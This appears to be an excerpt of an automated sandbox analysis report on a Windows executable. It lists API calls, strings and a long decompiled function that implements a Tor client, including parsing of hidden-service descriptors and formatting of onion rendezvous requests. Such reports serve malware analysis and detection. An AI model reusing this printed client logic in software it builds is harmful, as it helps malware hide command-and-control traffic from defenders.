0x004040c0
0x004040c6
0x004040cc
0x004040de
0x004040e3
0x004040e5
0x004040eb
0x004040ed
0x004040ef
0x00404101
0x00404106
0x00404108
0x0040410a
0x0040410e
0x00404120
0x00404127
0x0040412e
0x00404134
0x00404137
0x00404137
0x0040413a
0x0040413c
0x0040413c
0x0040413f
0x00000000
0x00000000
0x00404141
0x00404143
0x0040415e
0x0040417c
0x0040417c
0x00404127
0x00404108
0x004040e5
0x00404188
0x00404197

APIs

Part of subcall function 00402A45: wsprintfA.USER32 ref: 00402A94

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 0040415E
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,?,00000000,00000000), ref: 0040417C

Strings

-----END, xrefs: 00404114
-----BEGIN RSA PUBLIC KEY-----, xrefs: 004040F5
onion-key, xrefs: 004040D2
/tor/server/fp/, xrefs: 0040408A

Memory Dump Source

Source File: 00000000.00000002.244946144.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p9CvI6kq7d.jbxd

Yara matches

Similarity

API ID: BinaryCryptString$wsprintf
String ID: -----BEGIN RSA PUBLIC KEY-----$-----END$/tor/server/fp/$onion-key
API String ID: 2962846386-2989486038
Opcode ID: 0c9f6bc0f63c195c15a47a39b66e0893d43bf303b5a0f0ccb0ae6f4d256fa922
Instruction ID: 6e5008c48d5bf08edfcdfbb1d27b503a37780c4a99c1ba39e49f0b454b60a287
Opcode Fuzzy Hash: 0c9f6bc0f63c195c15a47a39b66e0893d43bf303b5a0f0ccb0ae6f4d256fa922
Instruction Fuzzy Hash: 5731A472A403197AEB219A61CC49FEE776CAB54304F0404BABA14F61D2DB749E908F69

Uniqueness

Uniqueness Score: -1.00%

Function 00412D7B Relevance: 7.6, APIs: 5, Instructions: 57timeCOMMON

Download Yara Rule

APIs

_lopen.KERNEL32(00000000,00000000), ref: 00412D9C
BuildCommDCBAndTimeoutsA.KERNEL32(00000000,?,?), ref: 00412DD1
GetPriorityClass.KERNEL32(00000000), ref: 00412DE4
SetConsoleMode.KERNEL32(00000000,00000000), ref: 00412DF8
SizeofResource.KERNEL32(00000000,00000000), ref: 00412E00

Memory Dump Source

Source File: 00000000.00000002.244956693.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40b000_p9CvI6kq7d.jbxd

Similarity

API ID: BuildClassCommConsoleModePriorityResourceSizeofTimeouts_lopen
String ID:
API String ID: 3467152227-0
Opcode ID: e4549aee9e34046f68ef9d5e043c18de0a48f9901b22678f612b60ed75d12b10
Instruction ID: 761be98b9e4883c95a80aed26ab8d4a6d3007fda60e61a6e682db6f4c00aa008
Opcode Fuzzy Hash: e4549aee9e34046f68ef9d5e043c18de0a48f9901b22678f612b60ed75d12b10
Instruction Fuzzy Hash: 1401A5B2D01118BFD7009BA9EE849DFBBBCEB98345B110436E602E2150C3B8AD5487AC

Uniqueness

Uniqueness Score: -1.00%

Function 00401D6D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 77
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E00401D6D() {
				signed int _t590;
				signed int _t620;
				signed int _t622;
				signed int _t626;
				int _t628;
				signed int _t634;
				signed int _t641;
				intOrPtr _t646;
				signed int _t652;
				char _t653;
				signed int _t660;
				signed int _t687;
				signed int _t692;
				signed int _t712;
				signed int _t714;
				int _t720;
				signed int _t721;
				signed int _t729;
				signed int _t732;
				signed int _t736;
				signed int _t737;
				signed int _t742;
				intOrPtr _t750;
				void* _t752;
				signed int _t756;
				signed int _t764;
				signed int _t783;
				signed int _t785;
				intOrPtr _t800;
				char _t801;
				signed int _t809;
				signed int _t821;
				signed int _t879;
				signed int _t881;
				signed int _t883;
				signed int _t893;
				signed int _t895;
				signed int _t896;
				signed int _t897;
				signed int _t898;
				void* _t900;
				signed int _t901;
				signed int _t903;
				void* _t906;
				signed int _t907;
				int _t910;
				signed int _t915;
				signed int _t919;
				char _t923;
				void* _t926;
				char* _t932;
				void* _t940;
				char* _t942;
				char* _t943;
				char* _t944;
				char* _t945;
				char* _t946;
				intOrPtr _t947;
				char* _t948;
				BYTE* _t949;
				char* _t950;
				char* _t951;
				char* _t955;
				char* _t956;
				char* _t957;
				void* _t959;
				char* _t960;
				intOrPtr _t963;
				void* _t964;
				void* _t966;

				while(1) {
					L116:
					 *(_t964 - 0x6a8) =  *(_t964 - 0x6a8) + 1;
					L118:
					while( *(_t964 - 0x6a8) <= 4) {
						_t938 = E00403F5D( *((intOrPtr*)(_t964 - 0x23c)), E00406A32(_t583,  *((intOrPtr*)(_t964 - 0x6a0))), 0);
						_t583 = E00403FA5(_t585);
						__eflags =  *(_t964 - 0x6a8);
						if( *(_t964 - 0x6a8) != 0) {
							L3:
							__eflags =  *(_t964 - 0x6a8) - 1;
							if( *(_t964 - 0x6a8) != 1) {
								L5:
								__eflags =  *(_t964 - 0x6a8) - 2;
								if( *(_t964 - 0x6a8) != 2) {
									L7:
									__eflags =  *(_t964 - 0x6a8) - 4;
									if(__eflags != 0) {
										L9:
										_t590 = E00403EA6(__eflags, _t938, _t964 +  *(_t964 - 0x6a8) * 4 - 0x6dc, _t964 +  *(_t964 - 0x6a8) * 4 - 0x6f0, _t964 +  *(_t964 - 0x6a8) * 4 - 0x704, _t964 +  *(_t964 - 0x6a8) * 4 - 0x718);
										_t583 = _t590;
										__eflags = _t590;
										if(_t590 != 0) {
											continue;
										}
										__eflags =  *(_t964 - 0x6a8) - 1;
										if( *(_t964 - 0x6a8) != 1) {
											L12:
											__eflags =  *(_t964 - 0x6a8) - 4;
											if(__eflags != 0) {
												__eflags =  *(_t964 - 0x6a8) - 3;
												if( *(_t964 - 0x6a8) != 3) {
													__eflags =  *(_t964 - 0x6a8) - 2;
													if(__eflags != 0) {
														__eflags =  *(_t964 - 0x6a8);
														if(__eflags != 0) {
															while(1) {
																L116:
																 *(_t964 - 0x6a8) =  *(_t964 - 0x6a8) + 1;
																goto L118;
															}
														}
														__eflags = E00402FB6(_t929, __eflags,  *((intOrPtr*)(_t964 - 0x6f0)),  *((intOrPtr*)(_t964 - 0x704)),  *((intOrPtr*)(_t964 + 0x10)),  *((intOrPtr*)(_t964 + 0x14)), _t964 - 0x764);
														if(__eflags == 0) {
															goto L117;
														}
														E00404484(__eflags,  *((intOrPtr*)(_t964 - 0x764)), 0x4092a0, 7, 0,  *((intOrPtr*)(_t964 + 0x10)));
														 *(_t964 - 0x760) = 0;
														_t620 = E004048B6(0x186a0, _t964 - 0x77c);
														__eflags = _t620;
														if(_t620 == 0) {
															goto L117;
														}
														_t622 = E004048B6(0x186a0, _t964 - 0x780);
														__eflags = _t622;
														if(_t622 == 0) {
															goto L117;
														}
														_t940 =  *(_t964 - 0x77c);
														 *(_t964 - 0x24) = 0;
														 *(_t964 - 0x2c) = 0;
														while(1) {
															E00406698( *((intOrPtr*)(_t964 - 0x764)), 0, _t964 - 0x778, 0xa, 0);
															_push(_t964 - 0x76c);
															_push(0);
															_push(0);
															_t626 = _t964 - 0x778;
															_push(_t626);
															_push(0);
															L0040717E();
															__eflags = _t626;
															if(__eflags <= 0) {
																goto L117;
															}
															_t628 = E004045B9(__eflags,  *((intOrPtr*)(_t964 - 0x764)), _t964 - 0x760,  *((intOrPtr*)(_t964 + 0x10)));
															__eflags = _t628;
															if(_t628 <= 0) {
																goto L117;
															}
															 *(_t964 - 0x24) =  *(_t964 - 0x24) + _t628;
															_t959 =  *(_t964 - 0x760);
															_t910 = _t628;
															memcpy(_t940, _t959, _t910);
															_t966 = _t966 + 0xc;
															_t940 = _t959 + _t910 + _t910;
															E004048E1(_t964 - 0x760);
															__eflags =  *(_t964 - 0x24) - 0x202;
															if( *(_t964 - 0x24) < 0x202) {
																continue;
															}
															_t929 =  *(_t964 - 0x77c);
															_t634 =  *(_t929 + 0x10) & 0x0000ffff;
															__eflags = _t634 + 0x19 -  *(_t964 - 0x24);
															if(_t634 + 0x19 >  *(_t964 - 0x24)) {
																continue;
															}
															_t915 =  *(_t634 + _t929 + 0x17) & 0x0000ffff;
															__eflags =  *(_t964 - 0x24) - _t915 + _t634 + 0x21b;
															if( *(_t964 - 0x24) != _t915 + _t634 + 0x21b) {
																continue;
															}
															E004066E9( *((intOrPtr*)(_t964 + 8)), 0xa, _t964 - 0x63c);
															asm("bswap eax");
															_t641 =  *((intOrPtr*)(_t940 - 0x1fd)) + ( *(_t964 - 0x63c) & 0x000000ff) * 0x15180 / 0x100;
															_t929 = _t641 % 0x15180;
															asm("bswap eax");
															 *(_t964 - 0x61e) = _t641 / 0x15180;
															E004066D2( *((intOrPtr*)(_t964 - 0x780)), 0x186a0);
															_t963 =  *((intOrPtr*)(_t964 - 0x780));
															 *((char*)(_t963 + 4)) = 8;
															_t646 = E0040664B(_t940 - 0x1fd, _t963 + 5, 4);
															 *((short*)(_t963 + 9)) = 0x404;
															_push( *((intOrPtr*)(_t964 - 0x6f0)));
															L00407166();
															 *((intOrPtr*)(_t963 + 0xb)) = _t646;
															 *((intOrPtr*)(_t963 + 0xf)) = 0x40401;
															_t583 = E00404484(__eflags,  *((intOrPtr*)(_t964 - 0x764)), _t963, 0x202, 0,  *((intOrPtr*)(_t964 + 0x10)));
															while(1) {
																L116:
																 *(_t964 - 0x6a8) =  *(_t964 - 0x6a8) + 1;
																goto L118;
															}
														}
														goto L117;
													}
													_t652 = E00403422(__eflags,  *((intOrPtr*)(_t964 - 8)),  *(_t964 - 4),  *((intOrPtr*)(_t964 - 0xc)),  *((intOrPtr*)(_t964 - 0x10)),  *((intOrPtr*)(_t964 + 0x10)),  *((intOrPtr*)(_t964 - 0x764)),  *((intOrPtr*)(_t964 - 0x6ec)),  *(_t964 - 0x714),  *((intOrPtr*)(_t964 - 0x6e8)),  *((intOrPtr*)(_t964 - 0x6fc)),  *((intOrPtr*)(_t964 - 0x6dc)),  *(_t964 - 0x6d4), 1, _t964 - 0x200, _t964 - 0x1fc, _t964 - 0x1f8, _t964 - 0x1f4, _t964 - 0x238);
													__eflags = _t652;
													if(_t652 <= 0) {
														goto L117;
													}
													_t653 = E004066D2( *((intOrPtr*)(_t964 - 0x780)), 0x186a0);
													_t942 =  *((intOrPtr*)(_t964 - 0x780));
													 *_t942 = 0x80;
													 *((char*)(_t942 + 3)) = 1;
													 *((char*)(_t942 + 4)) = 3;
													 *((char*)(_t942 + 5)) = 0x21;
													 *((char*)(_t942 + 0xf)) = 0x14;
													_t919 = 0;
													while(1) {
														__eflags = _t919 - 0x14;
														if(_t919 >= 0x14) {
															break;
														}
														 *[ss:ecx+ebp-0x650] = _t653;
														_t919 = _t919 + 1;
														__eflags = _t919;
													}
													E0040664B(_t964 - 0x650, _t942 + 0x10, 0x14);
													E00403892(_t929,  *((intOrPtr*)(_t964 - 8)),  *((intOrPtr*)(_t964 - 0x200)),  *((intOrPtr*)(_t964 - 0x1f8)), 0, _t942 + 5, 0,  *((intOrPtr*)(_t964 - 0x230)));
													E00404484(__eflags,  *((intOrPtr*)(_t964 - 0x764)),  *((intOrPtr*)(_t964 - 0x780)), 0x202, 0,  *((intOrPtr*)(_t964 + 0x10)));
													_t660 = E004047B4( *((intOrPtr*)(_t964 - 0x764)),  *(_t964 - 0x77c), 0x202,  *((intOrPtr*)(_t964 + 0x10)), 0x14);
													_t943 =  *(_t964 - 0x77c);
													__eflags = _t660;
													if(_t660 != 0) {
														goto L117;
													}
													__eflags = _t943[4] - 3;
													if(__eflags != 0) {
														goto L117;
													}
													_t583 = E00403913(_t929, __eflags,  *((intOrPtr*)(_t964 - 8)),  *((intOrPtr*)(_t964 - 0x1fc)),  *((intOrPtr*)(_t964 - 0x1f4)), 0,  &(_t943[5]), 1,  *((intOrPtr*)(_t964 - 0x22c)));
													__eflags = _t583;
													if(_t583 == 0) {
														goto L117;
													}
													__eflags = _t943[5] - 0x27;
													if(_t943[5] != 0x27) {
														goto L117;
													}
													while(1) {
														L116:
														 *(_t964 - 0x6a8) =  *(_t964 - 0x6a8) + 1;
														goto L118;
													}
												}
												 *(_t964 - 0x34) = 0;
												 *(_t964 - 0x14) = 2;
												 *(_t964 - 0x18) = 1;
												while(1) {
													__eflags =  *(_t964 - 0x34) - 2;
													if( *(_t964 - 0x34) >= 2) {
														break;
													}
													 *((char*)(_t964 - 0x61a)) =  *(_t964 - 0x34);
													E0040332E( *((intOrPtr*)(_t964 - 8)), _t964 - 0x61e, 5, _t964 - 0x632, 0, 0xffffffff);
													E0040332E( *((intOrPtr*)(_t964 - 8)), _t964 - 0x63c, 0x1e, _t964 - 0x619, 0, 0xffffffff);
													E004067E1(_t964 - 0x619, 0x14, _t964 - 0x605);
													E0040664B(_t964 - 0x6a4, _t964 - 0x24, 4);
													E0040664B(_t964 - 0x6a4, _t964 - 0x2c, 4);
													_t906 = 0;
													while(1) {
														__eflags =  *(_t964 - 0x2c);
														if( *(_t964 - 0x2c) <= 0) {
															break;
														}
														E0040664B(_t964 - 0x2c, _t964 - 0x24, 4);
														 *(_t964 - 0x24) =  *(_t964 - 0x24) >> 1;
														_t687 = E00403EA6(__eflags, E00403F5D( *((intOrPtr*)(_t964 - 0x23c)), _t906 +  *(_t964 - 0x24), 8), _t964 - 0x6d0, _t964 - 0x6e4, _t964 - 0x6f8, _t964 - 0x70c);
														 *(_t964 - 0x20) = 0;
														__eflags = _t687;
														if(_t687 != 0) {
															L62:
															__eflags =  *(_t964 - 0x20) - 1;
															if( *(_t964 - 0x20) != 1) {
																E0040664B(_t964 - 0x24, _t964 - 0x2c, 4);
															} else {
																_t906 = _t906 +  *(_t964 - 0x24) + 1;
																 *(_t964 - 0x2c) =  *(_t964 - 0x2c) -  *(_t964 - 0x24) + 1;
															}
															continue;
														}
														CryptStringToBinaryA( *(_t964 - 0x6d0), 0, 1, 0, _t964 - 0x1c, 0, 0);
														CryptStringToBinaryA( *(_t964 - 0x6d0), 0, 1, _t964 - 0x5a1, _t964 - 0x1c, 0, 0);
														_t926 = 0;
														while(1) {
															__eflags = _t926 - 0x14;
															if(_t926 >= 0x14) {
																goto L62;
															}
															_t750 =  *[ss:ecx+ebp-0x5a1];
															__eflags = _t750 -  *[ss:ecx+ebp-0x619];
															if(_t750 >  *[ss:ecx+ebp-0x619]) {
																goto L62;
															}
															__eflags = _t750 -  *[ss:ecx+ebp-0x619];
															if(_t750 !=  *[ss:ecx+ebp-0x619]) {
																 *(_t964 - 0x20) = 1;
															}
															_t926 = _t926 + 1;
														}
														goto L62;
													}
													 *(_t964 - 0x1c) = 0;
													while(1) {
														__eflags =  *(_t964 - 0x1c) - 3;
														if( *(_t964 - 0x1c) >= 3) {
															break;
														}
														_t692 = E00403F5D( *((intOrPtr*)(_t964 - 0x23c)), _t906, 8);
														_t906 = _t906 + 1;
														_t929 = _t692;
														__eflags = E00403EA6(__eflags, _t692, _t964 - 0x6d0, _t964 - 0x6e4, _t964 - 0x6f8, _t964 - 0x70c);
														if(__eflags != 0) {
															continue;
														}
														__eflags = E00403422(__eflags,  *((intOrPtr*)(_t964 - 8)),  *(_t964 - 4),  *((intOrPtr*)(_t964 - 0xc)),  *((intOrPtr*)(_t964 - 0x10)),  *((intOrPtr*)(_t964 + 0x10)),  *((intOrPtr*)(_t964 - 0x764)),  *((intOrPtr*)(_t964 - 0x6ec)),  *(_t964 - 0x714),  *((intOrPtr*)(_t964 - 0x6e4)),  *((intOrPtr*)(_t964 - 0x6f8)),  *((intOrPtr*)(_t964 - 0x6dc)),  *(_t964 - 0x6d0),  *(_t964 - 0x14), _t964 - 0x1f0, _t964 - 0x1ec, _t964 - 0x1e8, _t964 - 0x1e4, _t964 - 0x228);
														if(__eflags <= 0) {
															L88:
															E00403779( *((intOrPtr*)(_t964 - 0x764)),  *(_t964 - 0x77c),  *((intOrPtr*)(_t964 + 0x10)),  *(_t964 - 0x14));
															 *(_t964 - 0x14) =  *(_t964 - 0x14) + 1;
															 *(_t964 - 0x18) =  *(_t964 - 0x18) + 1;
															 *(_t964 - 0x1c) =  *(_t964 - 0x1c) + 1;
															_t583 = E004069DA(__eflags,  *((intOrPtr*)(_t964 - 0x780)), 0x186a0, "-----END MESSAGE-----");
															__eflags = _t583;
															if(_t583 != 0) {
																 *(_t964 - 0x30) = _t583;
																goto L116;
															}
															continue;
														}
														E004066D2( *((intOrPtr*)(_t964 - 0x780)), 0x186a0);
														_t944 =  *((intOrPtr*)(_t964 - 0x780));
														 *_t944 = 0x80;
														 *((char*)(_t944 + 3)) =  *(_t964 - 0x14);
														 *((char*)(_t944 + 4)) = 3;
														 *((char*)(_t944 + 5)) = 0xd;
														 *((char*)(_t944 + 9)) =  *(_t964 - 0x18);
														E00403892(_t929,  *((intOrPtr*)(_t964 - 8)),  *((intOrPtr*)(_t964 - 0x1f0)),  *((intOrPtr*)(_t964 - 0x1e8)), 0, _t944 + 5, 0,  *((intOrPtr*)(_t964 - 0x220)));
														E00404484(__eflags,  *((intOrPtr*)(_t964 - 0x764)),  *((intOrPtr*)(_t964 - 0x780)), 0x202, 0,  *((intOrPtr*)(_t964 + 0x10)));
														_t712 = E004047B4( *((intOrPtr*)(_t964 - 0x764)),  *(_t964 - 0x77c), 0x202,  *((intOrPtr*)(_t964 + 0x10)), 0x14);
														_t945 =  *(_t964 - 0x77c);
														__eflags = _t712;
														if(_t712 != 0) {
															goto L117;
														}
														__eflags = _t945[4] - 3;
														if(__eflags != 0) {
															goto L88;
														}
														_t714 = E00403913(_t929, __eflags,  *((intOrPtr*)(_t964 - 8)),  *((intOrPtr*)(_t964 - 0x1ec)),  *((intOrPtr*)(_t964 - 0x1e4)), 0,  &(_t945[5]), 1,  *((intOrPtr*)(_t964 - 0x21c)));
														__eflags = _t714;
														if(_t714 == 0) {
															goto L117;
														}
														__eflags = _t945[5] - 4;
														if(__eflags != 0) {
															goto L88;
														}
														E004066D2( *((intOrPtr*)(_t964 - 0x780)), 0x186a0);
														_t946 =  *((intOrPtr*)(_t964 - 0x780));
														 *_t946 = 0x80;
														 *((char*)(_t946 + 3)) =  *(_t964 - 0x14);
														 *((char*)(_t946 + 4)) = 3;
														 *((char*)(_t946 + 5)) = 2;
														 *((char*)(_t946 + 9)) =  *(_t964 - 0x18);
														_t720 = wsprintfA(_t946 + 0x10, "GET /tor/rendezvous2/%s HTTP/1.0\r\nHost: %s\r\nConnection: close\r\n\r\n", _t964 - 0x605,  *((intOrPtr*)(_t964 - 0x6e4)));
														_t966 = _t966 + 0x10;
														_t721 = _t720 + 1;
														__eflags = _t721;
														 *(_t946 + 0xf) = _t721;
														E00403892(_t929,  *((intOrPtr*)(_t964 - 8)),  *((intOrPtr*)(_t964 - 0x1f0)),  *((intOrPtr*)(_t964 - 0x1e8)), 0, _t946 + 5, 1,  *((intOrPtr*)(_t964 - 0x220)));
														E00404484(__eflags,  *((intOrPtr*)(_t964 - 0x764)),  *((intOrPtr*)(_t964 - 0x780)), 0x202, 0,  *((intOrPtr*)(_t964 + 0x10)));
														 *(_t964 - 0x24) = 0;
														 *(_t964 - 0x2c) = 2;
														 *(_t964 - 0x30) = 0;
														_t960 =  *(_t964 - 0x77c);
														_t947 =  *((intOrPtr*)(_t964 - 0x780));
														E004066D2( *((intOrPtr*)(_t964 - 0x780)), 0x186a0);
														while(1) {
															E00406698( *((intOrPtr*)(_t964 - 0x764)), 0, _t964 - 0x778, 0xa, 0);
															_push(_t964 - 0x76c);
															_push(0);
															_push(0);
															_t729 = _t964 - 0x778;
															_push(_t729);
															_push(0);
															L0040717E();
															__eflags = _t729;
															if(_t729 < 0) {
																goto L117;
															}
															__eflags = _t729;
															if(__eflags == 0) {
																goto L88;
															}
															_t732 = E004045B9(__eflags,  *((intOrPtr*)(_t964 - 0x764)), _t964 - 0x760,  *((intOrPtr*)(_t964 + 0x10)));
															__eflags = _t732;
															if(_t732 <= 0) {
																goto L117;
															}
															_t932 =  &(( *(_t964 - 0x77c))[ *(_t964 - 0x24)]);
															 *(_t964 - 0x24) =  *(_t964 - 0x24) + _t732;
															__eflags =  *(_t964 - 0x24) - 0x186a0;
															if( *(_t964 - 0x24) > 0x186a0) {
																goto L119;
															}
															E0040664B( *(_t964 - 0x760), _t932, _t732);
															E004048E1(_t964 - 0x760);
															_t736 =  *(_t964 - 0x24);
															_t737 = _t736 / 0x202;
															_t929 = _t736 % 0x202;
															__eflags = _t736 % 0x202;
															if(_t736 % 0x202 != 0) {
																continue;
															}
															 *(_t964 - 0x28) = _t737;
															while(1) {
																__eflags =  *(_t964 - 0x28);
																if( *(_t964 - 0x28) <= 0) {
																	break;
																}
																__eflags =  *_t960 - 0x80;
																if(__eflags != 0) {
																	L85:
																	_t960 =  &(_t960[0x202]);
																	_t426 = _t964 - 0x28;
																	 *_t426 =  *(_t964 - 0x28) - 1;
																	__eflags =  *_t426;
																	continue;
																}
																_t742 = E00403913(_t929, __eflags,  *((intOrPtr*)(_t964 - 8)),  *((intOrPtr*)(_t964 - 0x1ec)),  *((intOrPtr*)(_t964 - 0x1e4)), 0,  &(_t960[5]),  *(_t964 - 0x2c),  *((intOrPtr*)(_t964 - 0x21c)));
																__eflags = _t742;
																if(_t742 == 0) {
																	goto L117;
																}
																__eflags = _t960[4] - 0x503;
																if(_t960[4] == 0x503) {
																	goto L85;
																}
																__eflags = _t960[4] - 0x203;
																if(__eflags != 0) {
																	goto L88;
																}
																_t923 = _t960[0xe];
																E0040664B( &(_t960[0x10]), _t947, _t923);
																_t947 = _t947 + _t923;
																_t424 = _t964 - 0x2c;
																 *_t424 =  *(_t964 - 0x2c) + 1;
																__eflags =  *_t424;
																goto L85;
															}
														}
														goto L117;
													}
													_t441 = _t964 - 0x34;
													 *_t441 =  *(_t964 - 0x34) + 1;
													__eflags =  *_t441;
												}
											} else {
												_t752 = E004069DA(__eflags,  *((intOrPtr*)(_t964 - 0x780)), 0x186a0, "-----BEGIN MESSAGE-----") + 0x17;
												 *(_t964 - 0x30) =  *(_t964 - 0x30) - _t752;
												_t948 =  *(_t964 - 0x77c);
												while(1) {
													__eflags =  *(_t964 - 0x30);
													if( *(_t964 - 0x30) <= 0) {
														break;
													}
													asm("lodsb");
													__eflags = _t752 - 0x20;
													if(_t752 > 0x20) {
														asm("stosb");
													}
													_t27 = _t964 - 0x30;
													 *_t27 =  *(_t964 - 0x30) - 1;
													__eflags =  *_t27;
												}
												 *_t948 = 0;
												CryptStringToBinaryA( *(_t964 - 0x77c), 0, 1, 0, _t964 - 0x1c, 0, 0);
												_t756 = E004048B6( *(_t964 - 0x1c), _t964 - 0x784);
												__eflags = _t756;
												if(_t756 == 0) {
													break;
												}
												CryptStringToBinaryA( *(_t964 - 0x77c), 0, 1,  *(_t964 - 0x784), _t964 - 0x1c, 0, 0);
												_t949 =  *(_t964 - 0x784);
												_t907 = 0;
												while(1) {
													__eflags = _t907 - 3;
													if(_t907 >= 3) {
														break;
													}
													__eflags =  *(_t964 - 0x1c);
													if(__eflags > 0) {
														_t895 = E004069A0(__eflags, _t949,  *(_t964 - 0x1c), "introduction-point");
														__eflags = _t895;
														if(__eflags == 0) {
															break;
														}
														 *(_t964 + _t907 * 4 - 0x72c) = _t895;
														_t896 = E004069A0(__eflags, _t949,  *(_t964 - 0x1c), "ip-address");
														__eflags = _t896;
														if(__eflags == 0) {
															goto L119;
														}
														 *(_t964 + _t907 * 4 - 0x738) = _t896;
														_t897 = E004069A0(__eflags, _t949,  *(_t964 - 0x1c), "onion-port");
														__eflags = _t897;
														if(__eflags == 0) {
															goto L119;
														}
														 *(_t964 + _t907 * 4 - 0x744) = _t897;
														_t898 = E004069DA(__eflags, _t949,  *(_t964 - 0x1c), "service-key");
														__eflags = _t898;
														if(__eflags == 0) {
															goto L119;
														}
														_t900 = _t898 + 1 - _t949;
														_t949 =  &(_t949[_t900]);
														 *(_t964 - 0x1c) =  *(_t964 - 0x1c) - _t900;
														_t901 = E004069DA(__eflags, _t949,  *(_t964 - 0x1c), "KEY-----");
														__eflags = _t901;
														if(__eflags == 0) {
															goto L119;
														}
														 *((intOrPtr*)(_t964 + _t907 * 4 - 0x750)) = _t901 + 8;
														_t903 = E004069DA(__eflags, _t949,  *(_t964 - 0x1c), "-----END");
														__eflags = _t903;
														if(_t903 == 0) {
															goto L119;
														}
														 *_t903 = 0;
														_t907 = _t907 + 1;
														__eflags = _t907;
														continue;
													}
													break;
												}
												while(1) {
													__eflags = _t907;
													if(__eflags <= 0) {
														break;
													}
													_t907 = _t907 - 1;
													_t764 = E00403422(__eflags,  *((intOrPtr*)(_t964 - 8)),  *(_t964 - 4),  *((intOrPtr*)(_t964 - 0xc)),  *((intOrPtr*)(_t964 - 0x10)),  *((intOrPtr*)(_t964 + 0x10)),  *((intOrPtr*)(_t964 - 0x764)),  *((intOrPtr*)(_t964 - 0x6ec)),  *(_t964 - 0x714),  *(_t964 + _t907 * 4 - 0x738),  *(_t964 + _t907 * 4 - 0x744),  *((intOrPtr*)(_t964 - 0x6dc)),  *(_t964 + _t907 * 4 - 0x72c),  *(_t964 - 0x14), _t964 - 0x1e0, _t964 - 0x1dc, _t964 - 0x1d8, _t964 - 0x1d4, _t964 - 0x218);
													__eflags = _t764;
													if(_t764 <= 0) {
														L43:
														E00403779( *((intOrPtr*)(_t964 - 0x764)),  *(_t964 - 0x77c),  *((intOrPtr*)(_t964 + 0x10)),  *(_t964 - 0x14));
														_t217 = _t964 - 0x14;
														 *_t217 =  *(_t964 - 0x14) + 1;
														__eflags =  *_t217;
														continue;
													}
													_t800 = E00406A32(E004066D2(_t964 - 0x63c, 0x400), 0x100);
													asm("stosb");
													asm("loop 0xfffffff5");
													 *((char*)(_t964 - 0x42a)) = 2;
													_push( *((intOrPtr*)(_t964 - 0x6e0)));
													L00407166();
													 *((intOrPtr*)(_t964 - 0x429)) = _t800;
													_t801 = E00406663( *((intOrPtr*)(_t964 - 0x6f4)));
													 *((char*)(_t964 - 0x425)) = _t801;
													 *((char*)(_t964 - 0x424)) = _t801;
													CryptStringToBinaryA( *(_t964 - 0x6d4), 0, 1, 0, _t964 - 0x24, 0, 0);
													CryptStringToBinaryA( *(_t964 - 0x6d4), 0, 1, _t964 - 0x423, _t964 - 0x24, 0, 0);
													_t809 = E00404065(_t929, __eflags,  *((intOrPtr*)(_t964 - 0x6ec)),  *(_t964 - 0x714), _t964 - 0x423, _t964 - 0x40d);
													__eflags = _t809;
													if(_t809 == 0) {
														L117:
														_t583 = E00406474( *((intOrPtr*)(_t964 + 0x10)),  *((intOrPtr*)(_t964 + 0x14)),  *((intOrPtr*)(_t964 - 0x764)));
														 *(_t964 - 0x6a8) = 0;
														goto L118;
													}
													 *(_t964 - 0x40f) = _t809;
													 *(_t964 - 0x40e) = _t809;
													E0040664B(_t964 - 0x650, _t964 - 0x381, 0x14);
													 *((char*)(_t964 - 0x1c4)) = 7;
													 *((char*)(_t964 - 0x1c3)) = 2;
													 *((short*)(_t964 - 0x1c2)) = 0;
													 *((intOrPtr*)(_t964 - 0x1c0)) = 0xaa02;
													 *((intOrPtr*)(_t964 - 0x1bc)) = 0x32484400;
													 *(_t964 - 0x1b8) = 0x400;
													E00406A32(E0040664B(0x409450, _t964 - 0x1b4, 0x80), 0x100);
													asm("stosb");
													asm("loop 0xfffffff5");
													E004066D2(_t964 - 0x134, 0x80);
													 *((char*)(_t964 - 0x134)) = 2;
													E00403E30( *(_t964 - 4), _t964 - 0x1c4, _t964 - 0x36d);
													_t955 = _t964 - 0x5b0;
													_t821 = 1;
													while(1) {
														_t821 = _t821;
														__eflags = _t821;
														if(_t821 == 0) {
															break;
														}
														asm("lodsb");
														__eflags = _t821 - 0x20;
														if(_t821 > 0x20) {
															asm("stosb");
														}
													}
													 *_t955 = 0;
													CryptStringToBinaryA(_t964 - 0x5b0, 0, 1, 0, _t964 - 0x20, 0, 0);
													CryptStringToBinaryA(_t964 - 0x5b0, 0, 1, _t964 - 0x63c, _t964 - 0x20, 0, 0);
													 *(_t964 - 0x24) = 0x94;
													E004066D2(_t964 - 0x5b0, 0x94);
													_push(_t964 - 0x24);
													_push(_t964 - 0x5b0);
													_push(0);
													_push(0x8c);
													_push(_t964 - 0x63c);
													_push(0x13);
													_push(1);
													L00407208();
													 *((intOrPtr*)(_t964 - 0x51c)) = 0x31415352;
													 *(_t964 - 0x518) = 0x400;
													 *(_t964 - 0x514) = 4;
													 *((intOrPtr*)(_t964 - 0x510)) = 0x80;
													 *(_t964 - 0x50c) = 0;
													 *(_t964 - 0x508) = 0;
													asm("bswap eax");
													 *((intOrPtr*)(_t964 - 0x504)) =  *((intOrPtr*)(_t964 - 0x5a0));
													E00406605(_t964 - 0x51d, _t964 - 0x500, 0x80);
													_push(0);
													_push(0x9c);
													_push(_t964 - 0x51c);
													_push(_t964 - 0x1c8);
													_push(L"RSAPUBLICBLOB");
													_push(0);
													_push( *((intOrPtr*)(_t964 - 0xc)));
													 *((intOrPtr*)(E00406EE2(__eflags, E00406DF2("bcrypt.dll"), "BCryptImportKeyPair")))();
													E004066D2( *((intOrPtr*)(_t964 - 0x780)), 0x186a0);
													_t956 =  *((intOrPtr*)(_t964 - 0x780));
													 *_t956 = 0x80;
													 *((char*)(_t956 + 3)) =  *(_t964 - 0x14);
													 *((char*)(_t956 + 4)) = 3;
													 *((char*)(_t956 + 5)) = 0x22;
													 *((char*)(_t956 + 0xe)) = 0x18b;
													 *((char*)(_t956 + 0xf)) = 0x18b;
													E0040332E( *((intOrPtr*)(_t964 - 8)), _t964 - 0x63c, 0x8c, _t956 + 0x10, 0, 0xffffffff);
